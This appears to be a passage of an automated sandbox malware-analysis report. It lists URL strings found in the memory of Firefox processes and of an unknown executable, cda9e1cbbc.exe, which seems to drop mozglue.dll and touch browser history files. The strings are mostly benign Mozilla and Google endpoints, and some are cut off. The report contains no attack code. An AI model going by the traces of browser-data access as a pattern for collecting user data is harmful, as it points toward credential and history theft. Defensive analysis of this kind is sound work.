Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F401998000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401793000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2432050956.000001F401998000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsP5L
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FAC24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/wr2.crt0
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001C.00000002.2751785855.000001F4002F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2373686049.000001F3FF4D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2512377760.000001F3FD1FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435041713.000001F401844000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737287562.000001F3FEF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2242563166.000001F3FF4F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2341543535.000001F4002EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2617711768.000001F3FB161000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2450220058.000001F3FC3AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2433737789.000001F401935000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2335201070.000001F4003C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2444854688.000001F3FF4F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2292032711.000001F401EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2441787817.000001F4002EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2342016879.000001F3FF4D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F401803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB5BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/wr2
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/wr20%
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sCan
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://support.google.com/accounts/answer/151657?hl=en
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sSelected
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: cda9e1cbbc.exe, cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2762627038.000001F4015AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435410967.000001F4015B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC434000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2294552189.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCheckerService:#updateCheck
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUpdateService:_attemptResume
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulgetCanUseBits
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulpruneAttachments/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB69E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserUsageTelemet
Source: cda9e1cbbc.exe, 00000013.00000002.2570009825.000000001CCE2000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2593993071.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.2227751133.000001F3FEF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/getElementForAttrInheritance
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr	String found in binary or memory: https://accounts.google.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, MediaDeviceSalts.31.dr, 000003.log3.31.dr	String found in binary or memory: https://accounts.google.com/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp, History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_s
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757465880.000001F401003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp, History.31.dr, places.sqlite-wal.28.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-colorcolor-mix(in
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB557000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF836000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
